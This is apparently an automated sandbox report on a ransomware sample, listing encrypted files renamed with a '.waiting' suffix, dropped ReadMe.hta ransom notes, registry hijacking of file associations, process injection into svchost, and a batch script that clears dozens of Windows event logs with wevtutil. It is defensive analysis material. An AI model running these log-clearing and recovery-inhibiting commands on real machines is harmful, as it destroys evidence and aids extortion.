File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.DirectoryServices.dll	explorer.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.Quic.dll	explorer.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\en\DatabaseCompare_f_col.hxk WYVSRKUX5.waiting	explorer.exe
File created	C:\Program Files\Common Files\microsoft shared\MSInfo\de-DE\ReadMe.hta	explorer.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegaudio_plugin.dll WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\java.dll	explorer.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-il\ui-strings.js WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Locales\hu.pak.DATA WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ca-es\ui-strings.js	explorer.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png	explorer.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ko-kr\ui-strings.js	explorer.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.sk-sk.dll WYVSRKUX5.waiting	explorer.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-ma\ReadMe.hta	explorer.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\es-es\ReadMe.hta	explorer.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\da-dk\ReadMe.hta	explorer.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe WYVSRKUX5.waiting	explorer.exe
File created	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\ko\ReadMe.hta	explorer.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-private-l1-1-0.dll WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\files\dev\libs\ReadMe.hta	explorer.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\de-de\ReadMe.hta	explorer.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sl-sl\ReadMe.hta	explorer.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\pt-br\ui-strings.js	explorer.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Stationery\1033\PAWPRINT.HTM WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ar-ae\ReadMe.hta	explorer.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Private.Uri.dll WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\server\classes.jsa WYVSRKUX5.waiting	explorer.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\windows\utox.exe	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
File created	C:\Windows\pghdn.txt	svchost.exe
File created	C:\Windows\rwjfk.bat	svchost.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
16820	wevtutil.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
7732	Process not Found

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.waiting	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.waiting\shell\open\command\ = "C:\\Windows\\System32\\mshta.exe \"C:\\ReadMe.hta\""	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.waiting\shell\open\command	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.waiting\shell	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.waiting\shell\open	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.waiting\shell\open\command\n = dc0a87eb3438af9a28b7cf721ea5857a3813a74fa812d25fef7b095b74ce247972db428146d7ddcf5e04a67274a6f43cce9b5539e4fc435e40290a3e1317a0ff666a1cbb549d6c6d9e283cb36e8c3b16c9fb38beabbfbd211d3d455876387c112052ecd9b6b9b3fac6cb5960bd222aa8c7be318d96d86278a5e3caf9f9725b072811d1e8ce9e433ab18ec04775a8a0101242c01812486d63c7ef5da285b6852de092577c89e8a21671412b44125f0e7eced185ec735d035d194ba50bcb80b962943c4f3083637f54bbb6af7b9f7fa5320cede188e947c93b7014c00d2b9218f64572d96d98db5a432d3f74871990201bd6743a469ff5407fc28ad3e9ae1e083055533b54e74787528951ba139734e1e061d7fbe27a0679066edfdff7cd5ea969e0499e19b33d2f64c5691ab3ac166154790148a691bbe6444e23f418ded82b80b3999da4f64daf1b772e08c33d1edba8221b758c4acb60f528686a70ce098c36ef07658548a8f9edf3e04f4541ea80ad59612d42fbf471f803507dd42c0c08df16c92dbd944181e626db41af80a64b7f137a5a585bebe837243e5f9f2ead4828de271890bb746846ec205a64276446c5dd6d699ea80469e9b303ab39f30141c23796cc33ef577f02228a818eb95530ef28743711245dc81294c5e8cfb61e99c22a6bd3c8ce024a5f452269afe0e40db9f90d0eb412e381fc6ae81caa0707808cd9bd1046289ae882c6c14e259428806be067e6e1bab84c112c4a56e69ac46a1c9e1d9b911c47d20d4f74eb802b1f4063900b7f4c544f38bed180bd800920f322b80c6b5401ae7e56aaf307883108c23210d8635bdedd58bd6e855452463190fc113ed324bec239ee968d3847887c52cb562be7980bd0007b01df30d3186c03473df5af42e3ed8dc1c7d1c09e9880e1a5b8b02b42b9994cd9c1714ff31c7959909ab3767ba41130725fb5e105acc448cd8aef0dcf81d05bdc96ea95b1c9522aa981f6ace054f6b96fcdc09dc709614b3f1b74d67243dc0817c1cd61f7d42a9ef63cafd5057a0a536b3acd12382f9a6554c1cca529b884197003abf99e14a57f2bc779fa4b83656b2b994a347497d073ee883c0dd21640323ee19ae54578702556b64ad2ecd5231e59337fea3e422795609bc8361635cfff92cf6bf674ffedfcb7482682e7eaa52725e16c3be5d38e99dad1479a62ca4d9a29867ba7da0244e5b7c8eebf1fe204db6f01c6f89476641e483b2e24ad9d8cbd13d766747e51c7a160493fb34158f8fe18e9020ce5b1bdf00b311a30a9991222bc5a439cab0a1265cbfa3cbeec8239b73a376ac76bb60efbdcb7506f771eaa1cb451c4ac7b959ef40c5e0a793c84c6c4de8cd275b2d6d61c94621b4f6bc09cb546e58d183d0d0abddf8e499cf885fe64880b302833a66857772acc8205b4c3000ecaa0759cc20f6c8d51ea0123aefabf22032d47a972984bda2fb5d7a7392328f356c3e3c16b00c61ef57600921417e148654df608dec57efea84b38c8d12ce7cb3c506b1bc1287e631ae531885f35baba3bda13c95bee182cbcded52cda2c0c28588bb2ba1e35cda222fd16e8a60962b0ec86d9b708e8ad15ecd3b0ce6f8e6576b6e02eb7ddaa87cf3007091224b407708afc1cc4e41252b5c6ff8d5c6c01dbfef7daf84bf9b32ab46216885c0613509986d6ae4797afc33f8a72dd571275cbdc5e184396401bb3a5b1e2a7ab7789088384d5860c48b8f43c39ab26a25916ae9f469c55bb66ec13e89e524ecf3fdbf20706f284db182bcc767b1c1f7b661ffe6cf345c0c21d0642b7	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	explorer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.waiting\shell\open\command\en = 0602000000a400005253413100080000010001007df00ae1846d219c724ef6aa94e92fcf51f1992171d8f86f714aa8fead5e9b331c143ec39dd75536c4caca98e7ebedc9e8c3878a7d61b8f0bce6e109da1790a7f8929a0ea3d573b5b4a525e10785b4e89f81d4895b041a2835e807ca4bc0a27c5a7d7788c90033784462f67dde98c2f2c52f91834d789b372985eee4ce10c7097570f29cd9bc29f409ed6f4b21ef25373912c44f0fbb729279e77bad874437ac58bbcd50a7ca85250480d9711985d4d820a4c0c9976c5cd37665bc5d54017cecea86b2f1a3c3d4e9d54c249f214638129afe4e86220b483b3703c02fc4e4c10de97bdabbbccfde67e8a929cd886c7f8414b26ff27bec8a2cc38618a1950ba2bb	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\NotificationData	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\NotificationData\0D83063EA3B8FCF5 = 0100000000000002	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	explorer.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
2348	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
2348	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe
948	svchost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1372	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2348	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Token: SeDebugPrivilege	948	svchost.exe
Token: SeSecurityPrivilege	6116	wevtutil.exe
Token: SeBackupPrivilege	6116	wevtutil.exe
Token: SeSecurityPrivilege	4908	wevtutil.exe
Token: SeBackupPrivilege	4908	wevtutil.exe
Token: SeSecurityPrivilege	3208	wevtutil.exe
Token: SeBackupPrivilege	3208	wevtutil.exe
Token: SeSecurityPrivilege	3380	wevtutil.exe
Token: SeBackupPrivilege	3380	wevtutil.exe
Token: SeSecurityPrivilege	4992	wevtutil.exe
Token: SeBackupPrivilege	4992	wevtutil.exe
Token: SeSecurityPrivilege	5828	wevtutil.exe
Token: SeBackupPrivilege	5828	wevtutil.exe
Token: SeSecurityPrivilege	5640	wevtutil.exe
Token: SeBackupPrivilege	5640	wevtutil.exe
Token: SeSecurityPrivilege	5176	wevtutil.exe
Token: SeBackupPrivilege	5176	wevtutil.exe
Token: SeSecurityPrivilege	6128	wevtutil.exe
Token: SeBackupPrivilege	6128	wevtutil.exe
Token: SeShutdownPrivilege	1372	explorer.exe
Token: SeCreatePagefilePrivilege	1372	explorer.exe
Token: SeShutdownPrivilege	1372	explorer.exe
Token: SeCreatePagefilePrivilege	1372	explorer.exe
Token: SeSecurityPrivilege	18304	wevtutil.exe
Token: SeBackupPrivilege	18304	wevtutil.exe
Token: SeShutdownPrivilege	1372	explorer.exe
Token: SeCreatePagefilePrivilege	1372	explorer.exe
Token: SeSecurityPrivilege	16880	wevtutil.exe
Token: SeBackupPrivilege	16880	wevtutil.exe
Token: SeShutdownPrivilege	1372	explorer.exe
Token: SeCreatePagefilePrivilege	1372	explorer.exe
Token: SeShutdownPrivilege	1372	explorer.exe
Token: SeCreatePagefilePrivilege	1372	explorer.exe
Token: SeSecurityPrivilege	20800	wevtutil.exe
Token: SeBackupPrivilege	20800	wevtutil.exe
Token: SeShutdownPrivilege	1372	explorer.exe
Token: SeCreatePagefilePrivilege	1372	explorer.exe
Token: SeShutdownPrivilege	1372	explorer.exe
Token: SeCreatePagefilePrivilege	1372	explorer.exe
Token: SeSecurityPrivilege	6604	wevtutil.exe
Token: SeBackupPrivilege	6604	wevtutil.exe
Token: SeSecurityPrivilege	11196	wevtutil.exe
Token: SeBackupPrivilege	11196	wevtutil.exe
Token: SeSecurityPrivilege	9140	wevtutil.exe
Token: SeBackupPrivilege	9140	wevtutil.exe
Token: SeSecurityPrivilege	8732	wevtutil.exe
Token: SeBackupPrivilege	8732	wevtutil.exe
Token: SeSecurityPrivilege	21236	wevtutil.exe
Token: SeBackupPrivilege	21236	wevtutil.exe
Token: SeSecurityPrivilege	11456	wevtutil.exe
Token: SeBackupPrivilege	11456	wevtutil.exe
Token: SeSecurityPrivilege	17112	wevtutil.exe
Token: SeBackupPrivilege	17112	wevtutil.exe
Token: SeSecurityPrivilege	11492	wevtutil.exe
Token: SeBackupPrivilege	11492	wevtutil.exe
Token: SeSecurityPrivilege	16504	wevtutil.exe
Token: SeBackupPrivilege	16504	wevtutil.exe
Token: SeSecurityPrivilege	4336	wevtutil.exe
Token: SeBackupPrivilege	4336	wevtutil.exe
Token: SeSecurityPrivilege	9280	wevtutil.exe
Token: SeBackupPrivilege	9280	wevtutil.exe
Token: SeSecurityPrivilege	15720	wevtutil.exe
Token: SeBackupPrivilege	15720	wevtutil.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2348 wrote to memory of 948	2348	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe	8
PID 2348 wrote to memory of 948	2348	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe	8
PID 948 wrote to memory of 2240	948	svchost.exe	87
PID 948 wrote to memory of 1372	948	svchost.exe	80
PID 2240 wrote to memory of 5992	2240	cmd.exe	89
PID 5992 wrote to memory of 6116	5992	cmd.exe	229
PID 2240 wrote to memory of 4908	2240	cmd.exe	91
PID 2240 wrote to memory of 3208	2240	cmd.exe	122
PID 2240 wrote to memory of 3380	2240	cmd.exe	93
PID 2240 wrote to memory of 4992	2240	cmd.exe	94
PID 2240 wrote to memory of 5828	2240	cmd.exe	95
PID 2240 wrote to memory of 5640	2240	cmd.exe	96
PID 2240 wrote to memory of 5176	2240	cmd.exe	97
PID 2240 wrote to memory of 6128	2240	cmd.exe	98
PID 948 wrote to memory of 4316	948	svchost.exe	99
PID 2240 wrote to memory of 18304	2240	cmd.exe	626
PID 2240 wrote to memory of 16880	2240	cmd.exe	101
PID 2240 wrote to memory of 20800	2240	cmd.exe	102
PID 2240 wrote to memory of 6604	2240	cmd.exe	103
PID 2240 wrote to memory of 11196	2240	cmd.exe	104
PID 2240 wrote to memory of 9140	2240	cmd.exe	105
PID 2240 wrote to memory of 8732	2240	cmd.exe	106
PID 2240 wrote to memory of 21236	2240	cmd.exe	107
PID 2240 wrote to memory of 11456	2240	cmd.exe	108
PID 2240 wrote to memory of 17112	2240	cmd.exe	989
PID 2240 wrote to memory of 11492	2240	cmd.exe	110
PID 2240 wrote to memory of 16504	2240	cmd.exe	111
PID 2240 wrote to memory of 4336	2240	cmd.exe	112
PID 2240 wrote to memory of 9280	2240	cmd.exe	113
PID 2240 wrote to memory of 15720	2240	cmd.exe	998
PID 2240 wrote to memory of 14168	2240	cmd.exe	115
PID 2240 wrote to memory of 12528	2240	cmd.exe	116
PID 2240 wrote to memory of 18428	2240	cmd.exe	1000
PID 2240 wrote to memory of 8776	2240	cmd.exe	118
PID 2240 wrote to memory of 5604	2240	cmd.exe	119
PID 2240 wrote to memory of 3132	2240	cmd.exe	120
PID 2240 wrote to memory of 14976	2240	cmd.exe	121
PID 2240 wrote to memory of 3208	2240	cmd.exe	122
PID 2240 wrote to memory of 19108	2240	cmd.exe	123
PID 2240 wrote to memory of 8476	2240	cmd.exe	124
PID 2240 wrote to memory of 21184	2240	cmd.exe	125
PID 2240 wrote to memory of 8536	2240	cmd.exe	126
PID 2240 wrote to memory of 15056	2240	cmd.exe	556
PID 2240 wrote to memory of 12968	2240	cmd.exe	128
PID 2240 wrote to memory of 10976	2240	cmd.exe	129
PID 2240 wrote to memory of 4580	2240	cmd.exe	130
PID 2240 wrote to memory of 12004	2240	cmd.exe	131
PID 2240 wrote to memory of 12496	2240	cmd.exe	1007
PID 2240 wrote to memory of 12568	2240	cmd.exe	133
PID 2240 wrote to memory of 14232	2240	cmd.exe	134
PID 2240 wrote to memory of 6336	2240	cmd.exe	135
PID 2240 wrote to memory of 1716	2240	cmd.exe	136
PID 2240 wrote to memory of 1944	2240	cmd.exe	137
PID 2240 wrote to memory of 14252	2240	cmd.exe	138
PID 2240 wrote to memory of 9124	2240	cmd.exe	139
PID 2240 wrote to memory of 8676	2240	cmd.exe	1011
PID 2240 wrote to memory of 18584	2240	cmd.exe	141
PID 2240 wrote to memory of 6132	2240	cmd.exe	1012
PID 2240 wrote to memory of 18372	2240	cmd.exe	143
PID 2240 wrote to memory of 14712	2240	cmd.exe	144
PID 2240 wrote to memory of 11432	2240	cmd.exe	1013
PID 2240 wrote to memory of 12256	2240	cmd.exe	146
PID 2240 wrote to memory of 19120	2240	cmd.exe	1014
PID 2240 wrote to memory of 16260	2240	cmd.exe	148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Deletes itself
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Windows\rwjfk.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wevtutil.exe el
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5992
  - - C:\Windows\System32\wevtutil.exe
      wevtutil.exe el
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:6116
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "AMSI/Debug"
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4908
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "AirSpaceChannel"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3208
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Analytic"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3380
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Application"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4992
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "DirectShowFilterGraph"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5828
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "DirectShowPluginControl"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5640
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Els_Hyphenation/Analytic"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5176
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "EndpointMapper"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6128
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "FirstUXPerf-Analytic"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:18304
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "ForwardedEvents"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:16880
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "General Logging"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:20800
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "HardwareEvents"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6604
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "IHM_DebugChannel"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:11196
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS-GPIO/Analytic"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:9140
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS-I2C/Analytic"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:8732
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Debug"
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:21236
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Performance"
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:11456
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS2-I2C/Debug"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:17112
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Intel-iaLPSS2-I2C/Performance"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:11492
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Internet Explorer"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:16504
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Key Management Service"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4336
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MF_DshowReverseBridge"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:9280
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MF_MediaFoundationDeviceMFT"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:15720
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MF_MediaFoundationDeviceProxy"
    3⤵
    PID:14168
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MF_MediaFoundationFrameServer"
    3⤵
    PID:12528
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MedaFoundationVideoProc"
    3⤵
    - Clears Windows event logs
    PID:18428
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MedaFoundationVideoProcD3D"
    3⤵
    PID:8776
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationAsyncWrapper"
    3⤵
    PID:5604
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationContentProtection"
    3⤵
    PID:3132
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationDS"
    3⤵
    PID:14976
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationDeviceProxy"
    3⤵
    PID:3208
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationMP4"
    3⤵
    PID:19108
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationMediaEngine"
    3⤵
    PID:8476
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationPerformance"
    3⤵
    PID:21184
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationPerformanceCore"
    3⤵
    PID:8536
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationPipeline"
    3⤵
    - Clears Windows event logs
    PID:15056
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationPlatform"
    3⤵
    PID:12968
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "MediaFoundationSrcPrefetch"
    3⤵
    PID:10976
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-Client-Streamingux/Debug"
    3⤵
    PID:4580
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-Client/Admin"
    3⤵
    PID:12004
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-Client/Debug"
    3⤵
    PID:12496
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-Client/Operational"
    3⤵
    PID:12568
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-Client/Virtual Applications"
    3⤵
    PID:14232
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-AppV-SharedPerformance/Analytic"
    3⤵
    PID:6336
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Client-License-Flexible-Platform/Admin"
    3⤵
    PID:1716
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Client-License-Flexible-Platform/Debug"
    3⤵
    PID:1944
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Client-License-Flexible-Platform/Diagnostic"
    3⤵
    PID:14252
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Client-Licensing-Platform/Admin"
    3⤵
    PID:9124
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Client-Licensing-Platform/Debug"
    3⤵
    PID:8676
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Client-Licensing-Platform/Diagnostic"
    3⤵
    PID:18584
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-IE/Diagnostic"
    3⤵
    PID:6132
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-IEFRAME/Diagnostic"
    3⤵
    PID:18372
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-JSDumpHeap/Diagnostic"
    3⤵
    PID:14712
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-OneCore-Setup/Analytic"
    3⤵
    PID:11432
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-PerfTrack-IEFRAME/Diagnostic"
    3⤵
    PID:12256
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-PerfTrack-MSHTML/Diagnostic"
    3⤵
    PID:19120
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-System-Diagnostics-DiagnosticInvoker/Operational"
    3⤵
    PID:16260
- - C:\Windows\System32\wevtutil.exe
